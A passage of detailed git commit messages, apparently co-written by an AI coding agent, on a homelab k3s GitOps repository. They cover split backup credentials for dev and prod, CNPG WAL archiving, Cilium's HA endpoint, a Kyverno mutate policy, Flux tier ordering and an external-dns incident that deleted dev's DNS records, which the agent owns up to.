k3s-prod` failed with 'context does not exist' mid-incident. Not Flux-reconciled,
so it never affected the cluster — but it breaks prod diagnosis from a checkout of
this branch, which is when you need it most.
Carries the concurrency fix: the merged kubeconfig holds both contexts and NO
current-context, with each invocation getting a per-invocation selector file
prepended to KUBECONFIG. Two concurrent dev.sh runs with different CLUSTER values
previously overwrote each other's current-context mid-command — reproduced live,
a CLUSTER=dev reader returned k3s-prod nodes on 3 of 7 iterations.
Co-Authored-By: Claude Opus 5 <[email protected]>
The previous commit created the two halves. This one wires the choice, so dev renders MinIO
credentials and prod renders R2 credentials from the SAME base manifests (R-ENV-02: the
overlay patch is the entire difference between environments; no base manifest is forked).
cluster-vars BACKUP_CREDENTIALS_SUFFIX base "" | dev "" | prod "-prod"
velero HelmRelease credentials.existingSecret: velero-cloud-credentials${BACKUP_CREDENTIALS_SUFFIX}
3x CNPG Cluster s3Credentials.*.name: <db>-backup-credentials${BACKUP_CREDENTIALS_SUFFIX}
ONE SUFFIX, NOT FOUR SECRET-NAME KNOBS. Four independent knobs can be updated three-quarters
of the way, leaving one consumer reading the OTHER environment's key with nothing rendering
wrong — and StrictPostBuildSubstitutions cannot catch that: strict mode fails on an UNDEFINED
variable, never on a defined-but-stale one. With one suffix the four move together or not at
all. The cost is that the rendered Secret name is not greppable from the consumer, so both
kustomizations spell the two names out in full beside the resources.
THE BASE DEFAULT IS "" AND THAT IS LOAD-BEARING. It renders the UNSUFFIXED names — objects
that exist in every render, and that dev is running today. The alternative failure mode is
strictly worse than the shared-Secret state this replaces: velero's pod hangs in
ContainerCreating forever when `existingSecret` names a missing Secret (the volume never
mounts), and a CNPG Cluster whose s3Credentials Secret is absent stops archiving WAL — which
under archive_mode=on is a filling pgdata PVC, not a missing backup. So an unresolvable
default breaks the referencing cluster HARDER than a wrong key does. Both overlays state the
value explicitly anyway, so neither inherits it silently.
Prod's overlay change is a cluster-vars op only. The velero Flux Kustomization patch is
untouched (it stays decryption-only, and velero stays suspended on prod).
VERIFIED — `kubectl kustomize --load-restrictor LoadRestrictionsNone` on clusters/dev and
clusters/prod for the cluster-vars values, then on each of the four affected tiers (platform,
platform-config, platform/velero, apps/wave-0) piped through `flux envsubst --strict` with
that environment's variables:
strict envsubst PASSES for all 8 (env x tier) combinations
dev velero existingSecret velero-cloud-credentials
dev keycloak/nextcloud/semaphore-db <db>-backup-credentials (both key refs each)
prod velero existingSecret velero-cloud-credentials-prod
prod keycloak/nextcloud/semaphore-db <db>-backup-credentials-prod (both key refs each)
both all EIGHT Secret objects present in the rendered output (dev and prod alike)
no `${...}` survives in any rendered tier except gitea's three DELIBERATE `$${...}` shell
escapes in apps/wave-0, which are pre-existing and unrelated.
Read alongside the endpoints the same overlays already set, the two environments are now
isolated on credential AND target:
dev velero s3://velero (root) + cnpg s3://cnpg @ http://192.168.1.9:9000 region us-east-1
prod velero k3s-prod-backup/velero + barman prefix @ https://<acct>.r2.cloudflarestorage.com region auto
Co-Authored-By: Claude Opus 5 <[email protected]>
The four backup-credential SOPS Secrets are SHARED BASE manifests: platform/ and apps/ are
rendered by the same Flux tiers on both clusters, and the ONLY per-environment difference in
this repo is cluster-vars substitution (R-ENV-02). So writing the R2 token into all four
(0a6a862) did not "give prod credentials" — it REPLACED DEV'S. Merging that as-is would have
handed dev's Velero and all three dev CNPG Clusters an R2 key id to sign MinIO requests with:
403 on every WAL segment, and archive_mode=on turns that into a disk-full clock on the pgdata
PVC, not a degraded backup. Dev's PROVEN DR restore (R-STATE-03) is the thing that would have
broken.
This commit splits the material. Each credential is now TWO Secret objects, both applied to
BOTH clusters, differing only in name suffix:
dev -> velero-cloud-credentials keycloak/nextcloud/semaphore-db-backup-credentials
prod -> velero-cloud-credentials-prod ...-db-backup-credentials-prod
The consumer picks one by name; that wiring is the NEXT commit, so this one changes no
rendered reference and is a no-op for both live clusters.
WHY DEV KEEPS THE UNSUFFIXED NAME. Dev is live. Renaming its Secret would change
`s3Credentials.accessKeyId.name` on three running CNPG Clusters — which projects into the
instance pods' environment and therefore ROLLS keycloak-db, nextcloud-db and semaphore-db —
and would roll the velero Deployment, all to rename an object whose contents do not change.
This repo already makes exactly this call for dev's live identifiers (EXTERNALDNS_TXT_OWNER_ID
"default", VELERO_BACKUP_PREFIX ""): the live cluster keeps the name it is running, and the
NEW environment takes the new one. The asymmetry is deliberate and documented at each
kustomization.
WHERE THE MATERIAL CAME FROM. Neither side is invented:
- the four unsuffixed files are restored byte-for-byte from `main` (the MinIO material as
it stood before 0a6a862), so dev's Secrets are IDENTICAL to what dev is running;
- the four `-prod` files carry the R2 token from 0a6a862 (already on this branch as
9739e9b), re-encrypted only because metadata.name changed.
RE-ENCRYPTION, AND WHY A COPY+SED IS NOT ENOUGH. `.sops.yaml` sets
`encrypted_regex: ^(data|stringData)$`, so metadata.name stays cleartext — but SOPS MACs the
WHOLE document (there is no `mac_only_encrypted` here), so editing that cleartext line
invalidates the MAC and `sops -d` then refuses the file. The `-prod` files were therefore
produced inside the dev toolbox (infra/devcontainer, which has sops 3.9.4 and the age key
mounted) by decrypt -> rename -> re-encrypt, with the plaintext never leaving a container
tmpfile. Note for the next person: `sops -e --output NEW OLD` matches creation rules against
the INPUT path, so encrypting a tmpfile into a repo path needs `--filename-override NEW` or
it dies with "no matching creation rules found".
Verified: all eight files `sops -d` cleanly; the four dev files hash to dev's material and the
four prod files to R2's, and the two sets differ. `.sops.yaml` needed no new rule — the
existing `(platform|apps|catalog)/.*(secret|sops)\.ya?ml$` rule already matches
`*-prod.sops.yaml`, so the new files encrypt to the same age recipient.
apps/wave-0/kustomization.yaml is GENERATED, so render.py learns the `-prod` sidecar rather
than the golden being hand-edited: `<db>-backup-credentials-prod.sops.yaml` now places into
the DB's wave alongside its unsuffixed twin (both must exist before the Cluster that names
one), and the selftest asserts it.
Co-Authored-By: Claude Opus 5 <[email protected]>
Prod has been archiving WAL to `TBD-PROD-S3-BACKUP-ENDPOINT` since bootstrap.
Verified live 2026-09-07 on all three CNPG Clusters: ContinuousArchiving=False,
"unexpected failure invoking barman-cloud-wal-archive: exit status 4". Because
archive_mode is ON, that is not a degraded backup — it is a DISK-FULL CLOCK.
Postgres will not recycle a segment it has not archived, so keycloak-db's pgdata
PVC is at 579 MiB used / 4360 MiB free and climbing monotonically. When it fills,
the primary PANICs and takes SSO down, and with it kubectl OIDC, Grafana,
Headlamp, Gitea and forward-auth. Wiring the endpoint is what lets Postgres drain
the whole accumulated backlog in one pass.
THE KNOB LAYOUT (three new, one repurposed) and why it is shaped this way.
The operator created exactly ONE R2 bucket, `k3s-prod-backup`, but the two backup
tools want differently-SHAPED values: the Velero chart takes `bucket` and `prefix`
as separate fields, while CNPG's barmanObjectStore.destinationPath is one full
s3:// URL whose first path segment IS the bucket. So:
S3_BACKUP_ENDPOINT dev http://192.168.1.9:9000 prod https://<acct>.r2...
S3_BACKUP_REGION dev us-east-1 prod auto
VELERO_BACKUP_BUCKET dev velero prod k3s-prod-backup
VELERO_BACKUP_PREFIX dev "" prod velero
CNPG_BACKUP_PATH dev s3://cnpg prod s3://k3s-prod-backup/barman
There is deliberately NO separate `S3_BACKUP_BUCKET`: CNPG's bucket already lives
inside CNPG_BACKUP_PATH, and a second knob holding the same bucket name twice is a
rotation waiting to drift. Three knobs, each shaped for its own consumer, and no
two of them can contradict each other.
TENANCY. Inside k3s-prod-backup, velero and barman get disjoint TOP-LEVEL
prefixes — s3://k3s-prod-backup/velero/ and s3://k3s-prod-backup/barman/<cluster>/
— with the bucket ROOT left empty so a misrendered prefix lands somewhere
obviously wrong instead of silently colliding. This is not tidiness: Velero ADOPTS
every backup under its location and TTL-DELETES it on retention, so an overlapping
prefix would let it reap WAL segments; and interleaving two Postgres servers' WAL
into one prefix corrupts the chain outright. Dev↔prod isolation is doubly
independent — different endpoint AND different bucket names — so neither cluster
can reach the other's objects even with a mis-substituted prefix.
DEV IS UNCHANGED, BYTE-FOR-BYTE, and that is asserted rather than assumed. Base
defaults are dev's LIVE values (verified against the running cluster: BSL
bucket=velero with NO prefix, region us-east-1; all three CNPG Clusters
ContinuousArchiving=True at s3://cnpg on the MinIO), and the dev overlay now
restates all five explicitly for the same reason LONGHORN_DATA_PATH is restated —
a silent drift in base would ORPHAN the backups dev's PROVEN restore depends on.
The empty-prefix case was the one real risk, and it is settled empirically: with
prefix "" the chart omits objectStorage.prefix from the rendered
BackupStorageLocation ENTIRELY (helm template, chart 12.1.0), so dev's live BSL is
unchanged, not merely equivalent.
R2's TWO GOTCHAS, both wired up front:
- region must be exactly `auto`. head-bucket answers {"BucketRegion":"WNAM"},
which is a PHYSICAL LOCATION HINT, not a signing region. This was hardcoded
us-east-1 inside the Velero HelmRelease — correct-by-accident for MinIO, wrong
for anything else — so it is a knob now.
- checksumAlgorithm: "". velero-plugin-for-aws v1.14.2 bundles an AWS SDK with
flexible checksums on by default and sends x-amz-sdk-checksum-algorithm /
x-amz-checksum-crc32 on every PUT; R2 rejects those with HTTP 400
InvalidArgument, failing every backup and every kopia blob upload. It must be
PRESENT-but-empty (the plugin branches on the key existing), and the chart does
emit an empty value — verified by rendering it. Harmless against MinIO, so it
is unconditional rather than a fourth knob.
WHAT THIS DOES NOT DO. Velero stays SUSPENDED on prod. `spec.suspend: true` is
owned by field manager `flux` (verified: kustomize-controller's managedFields do
not include f:suspend), so server-side apply will not strip it, and nothing here
declares suspension — which would also trip R-ENV-03, since a prod overlay may
patch only cluster-vars and a Flux Kustomization's `decryption`. Unsuspending is
the operator's, after `standup.sh --s3-endpoint <r2> s3check` proves a round trip.
NO DNS KNOB IS TOUCHED. BASE_DOMAIN stays prod.home.keithjackson.dev and every
EXTERNALDNS_* value is untouched. The apex inversion on work/prod-standup-campaign
was deliberately NOT carried: this branch ports that branch's R2 reasoning knob by
knob, and merges nothing.
VERIFIED: ci/l0.sh green (flux-postbuild-substitution 272 assertions, 0 hazards,
33 knobs defined / 28 referenced, every new token resolved in BOTH overlays);
render-golden, lint, schema, spec-immutability green; touched requirement
R-STATE-03 covered.
Refs R-STATE-03, R-IDP-05, R-ENV-02, R-ENV-03.
Co-Authored-By: Claude Opus 5 <[email protected]>
TRACKED_YAML rglob'd from the repo root excluding only .git and _artifacts, so it
also walked .claude/worktrees/agent-*/ — the isolated worktrees created for agent
runs. The check counted 5 CiliumEgressGatewayPolicy objects where exactly 1 is
authored, failing R-NET-04 for a reason unrelated to egress steering. Now skips
dot-DIRECTORIES (covering .git, .claude, .cache) while still matching dot-FILES
such as .sops.yaml. .claude/ is gitignored, so nothing beneath it is authored
surface.
Co-Authored-By: Claude Opus 5 <[email protected]>
Minimal prod delivery, authored directly on main (= prod's live revision d1a6628)
rather than by merging work/prod-standup-campaign. That branch carries the DNS apex
inversion, which would have set prod's BASE_DOMAIN to home.keithjackson.dev; prod
runs external-dns with policy: sync and txtOwnerId: prod, so it would have begun
rewriting apex records dev owns while the non-k3s prod still serves 443 there.
Operator sequencing is "dev migrates first". Nothing under clusters/ is touched
here at all, which is what makes this safe to land now.
Also deliberately EXCLUDED, because prod's live cluster-vars has no CNPG_BACKUP_PATH
key and StrictPostBuildSubstitutions would fail the whole tier: the R2 rework of
platform/velero/ and the CNPG destinationPath changes. Those land as
feat/r2-backup-prod together with the endpoint and bucket knobs.
WHAT THIS FIXES
1. Nothing was watching CNPG. All three prod databases have run since bootstrap with
ContinuousArchiving=False and firstRecoverabilityPoint=null, and no alert existed
anywhere. Because archive_mode=on and the archive command fails, Postgres refuses
to recycle WAL: keycloak-db holds every segment ever written (257 MiB on a 5 GiB
volume, ~6.8 MiB/h) — roughly 29 days to a disk-full PANIC on the cluster's SSO
database. Found by hand, 38h late. CNPGWALArchiveBacklog would have fired within
the hour, and evaluates to 3 firing series on prod today.
Rules key on cnpg_collector_* rather than cnpg_pg_stat_archiver_*, because
nextcloud-db's exporter cannot log in to its own database (permission denied for
database "nextcloud", both clusters) so the pg_stat_archiver family does not exist
for it — the obvious metric would have been blind to one database in three.
2. No PVC outside namespace=monitoring had any fill alert. New rules are partitioned
by namespace so they cannot double-fire with MonitoringVolumeFillingUp, pinned to
job="kubelet" (the apiserver copy of the same series reports namespace=default),
and guarded by inodes > 0 — block-mode PVCs such as unifi-rootdisk report
available=0 forever and would otherwise have fired critical permanently.
3. VPNTunnelDown could never clear on a cluster with no gateway node; it has been
firing critical on prod since 2026-09-05. Now guarded so prod self-arms the moment
a node carries the egress-gateway label, with dev's behaviour unchanged today.
4. The Keycloak realm import fails OPEN: an unresolved placeholder is stored
LITERALLY and the import still reports success, then sits at Done=True and never
re-runs. On 2026-09-06 all 12 prod OIDC clients held the literal
$(env:..._CLIENT_SECRET) string and every SSO login failed, while every signal was
green. The CronJob is the level-triggered correction; two alerts make its silence
observable. Repaired live already — this stops it recurring.
Also: the R-NET-04 conformance scan descended into nested agent worktrees under
.claude/, counting 4 egress policies where 1 is authored.
Co-Authored-By: Claude Opus 5 <[email protected]>
Written by platform/backup/set-r2-credentials.sh (operator, 2026-09-07T05:41:34Z)
into all four consumers, in the two shapes they need: velero wants an AWS INI
file, CNPG/barman wants discrete ACCESS_KEY_ID / ACCESS_SECRET_KEY. All four
verified to carry the SAME 32-character key id, so no consumer was missed.
Proven from a pod INSIDE prod against
https://7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com:
head-bucket on k3s-prod-backup returns BucketRegion WNAM, and PUT and DELETE both
succeed. Byte-integrity of GET is NOT yet proven (the aws-cli image has no cmp);
s3check is what will establish it.
Credentials only — no endpoint or bucket wiring. That is feat/r2-backup-prod.
Co-Authored-By: Claude Opus 5 <[email protected]>
OPERATOR DECISION 2026-09-06: "use the VIP as intended — a virtual address to reach
the cluster and provide fault tolerant HA. Without a change it will not work in HA."
THE DEFECT. Cilium's kube-proxy replacement dialled a SINGLE NODE. Re-confirmed live
before changing anything: all three prod cilium-agent pods carried
KUBERNETES_SERVICE_HOST=192.168.2.10 — k3s-prod-1's own address — while the kube-vip
VIP 192.168.2.9 was Running on all three nodes with a held lease. Lose prod-1 and the
CNI's control-plane path is dead on an "HA" cluster. clusters/prod's own comment said
the value must be the VIP and NOT .10, then called it "Not yet decided" — I treated
that stale comment as an open question when the evidence already settled it.
SPLIT, NOT REPOINT, because k3s_api_host had two consumers with opposite needs:
k3s_api_host unchanged — the FOUNDER's IP: the cold-bootstrap join
target and a tls-san. infra/tofu/outputs.tf GENERATES this
name, so renaming would ripple into tofu and the runbooks.
k3s_apiserver_endpoint NEW = {{ kube_vip_address }} — the HA address; what Cilium
consumes. Derived, not restated, so an environment overrides
ONE line and the VIP, the SAN and the CNI endpoint move
together. Prod needed no new override.
THE SECOND HAZARD, WHICH MY BRIEF DID NOT NAME and the agent found: pointing Cilium at
the VIP breaks a COLD bootstrap for the same reason the join would — site.yml ran
node-baseline -> k3s -> cilium, so Cilium would install against an address nothing
announced yet. That is the 2026-09-01 deadlock shape. Fixed by SEQUENCE, not value:
site.yml now imports kube-vip.yml BETWEEN k3s and cilium. It cannot go earlier
(kube-vip is a k3s auto-deploy manifest, so it needs a cluster) and it works there
because the DaemonSet is hostNetwork with KUBERNETES_SERVICE_HOST=127.0.0.1 — needing
neither CNI nor kube-proxy. roles/kube_vip gained a read-only `wait_for` on the VIP so
a cold run stops THERE with a named cause instead of surfacing as unreachable agents.
Also fixed a pre-existing bug that only mattered once this play joined site.yml: the
role's read-only interface probe ran without `check_mode: false`, so under --check it
was skipped and the assert fired with a misleading "set kube_vip_interface explicitly".
VERIFIED BY ME, not just reported:
renders dev K3S_API_HOST=192.168.1.49 prod=192.168.2.9 (each environment's VIP)
cilium template consumes k3s_apiserver_endpoint, not k3s_api_host
cold join still `--server https://{{ k3s_api_host }}:6443` — the founder
order site.yml: node-baseline -> k3s -> kube-vip -> cilium -> verify -> flux
gate full CI gate PASS
Agent-side, additionally: in-memory render of cilium-values.yaml.j2 per host showing
k8sServiceHost=the VIP with the join still on the founder; k3s_tls_sans renders
['.10','.9','127.0.0.1','.11','.12'] so NO cert reissue and NO k3s restart is involved
— .9 already answers under full CA verification; and --check --diff of kube-vip.yml
against prod reported 6 ok / 0 changed, i.e. the role edits change nothing about the
kube-vip prod already runs.
ha-control-plane-as-code 92 -> 112 assertions, turning two escalations into machine
checks: the Cilium template must use the endpoint var; the endpoint must derive from
kube_vip_address and k3s_api_host must not; per environment K3S_API_HOST must equal
that environment's VIP and be none of its node IPs (the [parity] contract, now
machine-checked rather than a comment); site.yml must order k3s -> kube-vip -> cilium.
Every new assertion mutation-tested and bites. One honest negative recorded: reverting
only the BASE default is not caught, because both overlays patch the key — the check
reads effective per-environment values, so the base default is unguarded.
APPLY ORDER, and this is the operator's step — nothing was applied:
PROD FIRST, and it is the low-risk direction (prod is the broken one). Push and let
Flux reconcile platform/cilium: the value change rolls the cilium-agent DaemonSet
ONE NODE AT A TIME (maxUnavailable: 1 — the knob that bounded the 2026-09-01
incident), it will not proceed past an unready pod, existing datapath survives an
agent restart, and .9 is already live before the change lands.
DEV SEPARATELY, operator present. Same mechanics but live dev agents dial
192.168.1.50, and dev is mid-DNS-migration on dev-live. Do not fold it into that.
ANSIBLE: nothing to run for either live cluster; the Ansible half matters only for a
cold build. Remove the now-redundant standalone kube-vip.yml step from any runbook.
NEW NAMED GAP, unwritten: the L2 test cannot assert the running agents' live
KUBERNETES_SERVICE_HOST, which is the drift the L0 check cannot see. Recorded in that
test's gap list.
Refs R-PLAT-01, R-NET-01, R-ENV-02.
Co-Authored-By: Claude Opus 5 <[email protected]>
Prod's UniFi VM has no disk. `DataVolume unifi/unifi-rootdisk` stuck in
ImportScheduled for hours, because Kyverno denied CDI's own generated pod:
validate.kyverno.svc-fail denied Pod/unifi/importer-prime-<uid>
require-auth-mode-label (R-IDP-02)
require-egress-class-label (R-NET-05)
Both policies match any Pod in an `app-namespace: "true"` namespace with no
exclusion, and CDI generates `importer-*` itself — it cannot carry repo labels.
A COLD-START defect, not a prod quirk: dev's identical import Succeeded 9 days
ago, before the policies enforced, so dev has never exercised it and would hit it
on any rebuild. Fourth bug of this shape in two days.
MECHANISM: a MUTATE ClusterPolicy that ADDS
`egress-class: internet` + `auth-mode: none` (add-if-absent anchor) to Pods on
CREATE in app namespaces WHEN the requesting subject is ServiceAccount
`cdi/cdi-sa`. Both validate policies are untouched — no exclude, no exception,
`background: true` preserved on them.
Why mutate beats exempting: the requirement stays literally true ("every pod in an
app namespace declares both labels") and the values are HONEST — the importer does
pull over the default WAN path, and `internet` is the least-reach class (it does
not grant the VPN path); a transient worker pod with no UI genuinely is
`auth-mode: none`.
THE MATCH IS IDENTITY, NOT A NAME. `subjects: ServiceAccount cdi/cdi-sa` is the
AdmissionReview userInfo, taken from the real prod denial
(`system:serviceaccount:cdi:cdi-sa`, name importer-prime-…, op CREATE). A name
prefix is attacker-choosable; a requesting ServiceAccount is not — and the test
proves it, with a fixture `importer-prime-forged-by-an-app` that copies both the
name prefix AND CDI's labels and is still DENIED. Covers every CDI worker kind
(importer/uploader/cloner) without enumerating names that change per release.
Confirmed on prod that cdi-sa is the only cdi-namespace SA that can create pods.
REJECTED, and the first one is a trap worth recording:
* PolicyException — the CRD EXISTS (v2/v2beta1, from the pre-applied bundle) but
all controllers run `--enablePolicyException=false` (verified live on prod:
admission, background and reports controllers all carry the flag). An exception
would apply cleanly through Flux and be SILENTLY IGNORED. Enabling the gate is a
cluster-wide capability change for no gain over the mutate.
* `exclude` scoped to cdi-sa — sound identity, worse consequences: any userInfo
match forces `background: false`, which would drop background scanning and
policy-report coverage of R-NET-05/R-IDP-02 for ALL EXISTING PODS to fix one pod
class. It also leaves the importer with no labels at all — the unlabelled
fall-through that require-egress-class-label's own header calls a fail-open leak.
* name-prefix / CDI-label matching — attacker-choosable, and proven walkable.
TWO-WAY PROOF, non-vacuous by construction — same resource, different requester,
opposite outcomes (verified by me, not just reported):
userinfo cdi-sa -> mutate pass, require-egress-class pass, require-auth-mode pass
userinfo ordinary -> mutate SKIP, require-egress-class FAIL, require-auth-mode FAIL
Kyverno L0 went 17 -> 29 tests passed, 0 failed. The mutate policy is deliberately
kept OUT of the existing tests/kyverno-test.yaml: that suite declares no userinfo,
and without userinfo the offline engine does not discriminate on subjects — it
mutates everything, which would have silently turned its negative rows into passes.
platform-config/kustomization.yaml is the live apply path for these ClusterPolicies;
without it the policy never reaches a cluster.
RESIDUAL TRADE-OFF, reversible by deleting one file: anything created by cdi-sa in
an app namespace now has these labels supplied rather than being rejected for not
declaring them — including a pod that is not a CDI worker. That identity already
holds `pods create/delete` cluster-wide via ClusterRole `cdi`, so it is not a new
capability; what changes is that for that one identity the declaration is assumed
rather than demanded. restrict-host-namespaces, the namespace default-deny baseline
and the CiliumNetworkPolicies all still apply.
FIRST resource-mutating policy on this cluster: kyverno-resource-mutating-webhook-cfg
holds 0 webhooks today; with autoUpdateWebhooks=true Kyverno registers
mutate.kyverno.svc-fail for Pods within seconds of this applying. Prod's
forceFailurePolicyIgnore=false makes it failurePolicy: Fail — same posture as the
validating webhook already in that path.
CDI retries importer creation on a loop, so the stuck import should proceed once
this lands. The detached prime-be3f9d1c-… 40 GiB scratch PVC is separate operator
cleanup; untouched, as is the DataVolume.
VERIFIED: full CI gate PASS. Nothing applied to any cluster.
Refs R-IDP-02, R-NET-05, R-PLAT-01.
Co-Authored-By: Claude Opus 5 <[email protected]>
`platform-config` applied the CDI CR *and* cdi-storageprofiles.yaml in ONE pass.
StorageProfile's CRD does not exist until cdi-operator reconciles that CR, and
Flux server-side dry-runs every object before applying any — so the unknown kind
aborted the tier, the CR was never applied, the CRD was never created, and the
tier could NEVER converge. Observed on prod: cdi-operator Available 12h, no CDI
CR, no storageprofiles CRD, every downstream tier blocked.
The profiles now live in their own tier ./platform-config-cdi with
dependsOn: platform-config and wait: true. Because dependsOn is REVISION-gated
and platform-config runs wait: true, the CDI CR must be applied AND healthy —
exactly the event that creates the CRD — before the profiles are applied. Cold
clusters order themselves. `standup.sh crds` is retained as a fallback for
clusters already stuck, and because it is idempotent.
THE GENERALISABLE RULE (recorded in clusters/README.md): a CR whose CRD is
created by a CONTROLLER AT RUNTIME is second-order and needs its own pass.
cdi-operator.yaml registers exactly ONE CRD (cdis.cdi.kubevirt.io); storageprofiles,
datavolumes, datasources and dataimportcrons appear only after it reconciles the
CDI CR. An audit found StorageProfile is the only second-order kind in
platform-config — KubeVirt, CDI, KeycloakRealmImport, CNPG Cluster,
VolumeSnapshotClass, ClusterIssuer, PrometheusRule, ServiceMonitor and the Cilium
L2 CRs all have their CRD in git or in a chart.
Moving the CDI CR up into `platform` was rejected: that would put CDI's health on
the tier the CNI gates and everything waits on — the mistake the oauth2-proxy and
headlamp splits exist to undo.
apps-vms gains dependsOn: platform-config-cdi. LOAD-BEARING, not cosmetic:
apps/vms/unifi/20-datavolume.yaml provisions on storageClassName: longhorn-vm and
its comment claimed platform-config guaranteed the profiles — which this move
would have silently falsified.
THE PRUNE TRANSIENT, MEASURED RATHER THAN ASSUMED. platform-config has
prune: true, so it deletes both profiles once, CDI recreates them with empty spec,
and the new tier re-applies the overrides ~30-60s later. Compared our override
against CDI's unaided inference for the same Longhorn provisioner on dev:
longhorn-vm (we override) spec RWX/Block -> status ReadWriteMany/Block
longhorn-static (no override) spec unset -> status ReadWriteOnce/Block
Both infer cloneStrategy: snapshot. So cloneStrategy is NOT at risk; accessModes
IS — unaided CDI gives RWO. A DataVolume provisioned on longhorn-vm inside the
window would be stamped RWO/Block and be PERMANENTLY non-live-migratable. Flux can
no longer cause it (apps-vms gates on the new tier); a human must not do it by hand.
Corroborating evidence that the recreate happens at all: dev has 5 StorageClasses
and 5 StorageProfiles, three with fluxOwner=NONE, spec unset and status populated
— CDI creating and inferring them with no Flux involvement.
MERGE PRECONDITION: `flux get kustomization platform-config` must be Ready on the
target first. If it is not, the profiles are pruned and sit at CDI defaults until
it recovers — and prod was in that state hours earlier. Fallback is the two-step
the Cilium move used (merge with prune: false, verify the ownership label moved,
restore prune: true).
substituteFrom: cluster-vars is declared even though the manifest has no ${TOKEN},
deliberately: conformance/tests/l0-static/flux-postbuild-substitution only audits
paths whose Kustomization declares it, so omitting it would move the file OUT of
the audited set — a blind spot for a future literal-token ship. Gate confirms it
stayed in (path=./platform-config-cdi files=2 defined=0 hazards=0). No SOPS
decryption stanza: the moved file is two plain CRs, so no overlay change was needed.
VERIFIED INDEPENDENTLY OF THE AGENT: platform-config renders 0 StorageProfile
while keeping the CDI and KubeVirt CRs; platform-config-cdi renders exactly the
two profiles; the graph is byte-identical across dev and prod with apps-vms
carrying both edges and no cycle. Full CI gate PASS.
KNOWN FOLLOW-UP: bootstrap/standup.sh TIER_ORDER does not yet include
platform-config-cdi, so `resume` will not wait on it. Another agent holds that
file; the PM will add it.
Refs R-GITOPS-01, R-ENV-02.
Co-Authored-By: Claude Opus 5 <[email protected]>
Prod reconciled from http://192.168.2.132:3000 — a podman container on the
operator's WORKSTATION, holding a DHCP lease on WIFI. Production's source of truth
was a laptop: a lease change or a closed lid stalls all reconciliation. Dev was
pointed there too (deliberately, to break a strand risk during its DNS migration),
so BOTH clusters depended on it simultaneously.
Prod now reconciles from https://gitea.prod.home.keithjackson.dev/... — the Gitea
prod itself runs, which apps-wave-0 has been serving for 28h.
THE SELF-REFERENCE IS THE WHOLE DIFFICULTY, and it is why this is a commit rather
than a kubectl patch. The root Kustomization renders ./clusters/prod, which CONTAINS
the patch that sets GitRepository.spec.url — so a live patch is reverted on the next
reconcile unless the AUTHORED value moves with it. Dev hit the identical trap on
2026-09-05. The ordered cutover:
1. push the repo to prod's Gitea (18 branches, refs verified identical, 499 commits
of history — a real move, not a shallow copy);
2. fast-forward prod Gitea's `main` to c8c1d29, the EXACT commit prod was already
running, so swapping the source changed nothing else. Its main had been at
4809199, and repointing to that would have ROLLED PROD BACKWARDS, undoing the
per-environment BASE_DOMAIN work and sending prod at the apex — the collision
with live dev that two days of work exists to prevent;
3. live-patch spec.url to open a window (source changed, content identical:
Ready=True at the same revision on the first poll);
4. land THIS commit through that window so the authored value agrees.
VERIFIED FROM INSIDE PROD, not from the workstation: a throwaway pod resolved
gitea.prod.home.keithjackson.dev through in-cluster CoreDNS to the Gateway VIP
(192.168.2.20) and cloned main over the public Let's Encrypt cert with NO CA
supplied. That exercises split-horizon DNS, the Gateway, Gitea and TLS on the pod
network — the path Flux actually uses. A workstation clone proves none of it.
The bootstrap Gitea is retained as a recovery path, not deleted
(bootstrap/gitea/bootstrap-gitea.sh). Dev still reconciles from it on branch
`dev-live` and returns to its own Gitea at step D4 of the §10a migration runbook.
Refs R-GITOPS-01, R-ENV-02.
Co-Authored-By: Claude Opus 5 <[email protected]>
INCIDENT FIX. Prod's external-dns DELETED EVERY ONE OF DEV'S PUBLIC DNS RECORDS. Both
clusters ran policy: sync against the SAME Cloudflare zone with the SAME implicit
txtOwnerId (`default`), so prod believed it owned dev's records, found no matching sources,
and removed them plus their TXT registry entries. Dev recovered ~30s after prod was scaled
to 0; verified restored against Cloudflare directly (my first check went through a pfSense
override and falsely showed healthy — local resolvers are not evidence about public DNS).
THE MISS WAS MINE, and it was a failure of imagination in how I briefed every agent. I put
"never touch dev" in brief after brief and enforced it — separate kubeconfigs, verified
--limit, sha-checked dev's kubeconfig before and after. Every one of those guards held. NONE
of them covered SHARED EXTERNAL RESOURCES. Prod reconciling its OWN correctly-authored
manifests reached across a third party and destroyed dev's state. Cluster-to-cluster
isolation was verified; the dependency that mattered was cluster-to-Cloudflare.
Operator's architecture: dev -> *.dev.home.keithjackson.dev, prod ->
*.prod.home.keithjackson.dev, apex CNAME <svc>.home -> <svc>.prod.home.
PHASE 1 ONLY (this commit): prod moves to its own subdomain. DEV IS NOT MIGRATED and its
effective hostname stays home.keithjackson.dev, so dev renders byte-identically and nothing
live moves. That alone ends the collision and unblocks prod. Phase 2 (dev -> dev.home. +
apex CNAMEs) is deferred to when the operator is present: it relocates Keycloak's issuer and
12 clients' redirect URIs, forces a rolling k3s restart and kubectl SSO re-issue for every
user, and moves gitea.home. — which is BOTH the GitOps source and the current push target.
BASE_DOMAIN WAS A DEAD KNOB — it existed in cluster-vars but the status report flagged it as
referenced by nothing, because hostnames were hardcoded throughout. Now real: 141 refs.
Searched the AUTHORITATIVE reconciled set by resolving each Flux spec.path transitively via
conformance/lib/status.py — the same resolver the L0 gate uses, so "what Flux reconciles"
has one definition. 185 occurrences across 47 files in 154 reconciled files. Tokenized:
Gateway listeners, the wildcard Certificate, coredns-custom, external-dns, Keycloak
instance/realm (26 redirect URIs), oauth2-proxy, Grafana OIDC, all HTTPRoutes, Homepage's 15
links, 30 runbook_urls, unifi cloud-init, render.py's ZONE constant (which drove
--oidc-issuer-url/--cookie-domain/--whitelist-domain on every forward-auth sidecar) and 11
catalog/ ServiceDefinitions re-rendered canonically. Left alone: 43 comment/prose
occurrences and non-reconciled paths.
TWO THAT CANNOT BE TOKENIZED, flagged not forced:
- headlamp's OIDC URLs live inside a SOPS-encrypted Secret; re-encrypting rewrites the MAC
over every value and the OFFLINE harness cannot verify it (kustomize does not decrypt),
so an error would break live-dev SSO with no pre-flight proof. Prod needs its own copy
anyway — client secrets are realm-scoped.
- kube-apiserver --oidc-issuer-url is a k3s SERVER FLAG, not a manifest, so Flux can never
reach it. Done on the inventory seam instead (k3s_base_domain -> k3s_oidc_issuer_url,
overridden in group_vars/k3s_prod). Verified per host: dev keeps the default, prod gets
prod.home.
EXTERNAL-DNS OWNER, the actual incident cause: txtOwnerId is now explicit per environment —
dev renders exactly `default` (the chart default it was already using, so its existing
records stay recognised) and prod gets `prod`. The BASE default is a NON-COLLIDING SENTINEL,
deliberately not `default`, so a future environment that forgets the knob owns nothing and
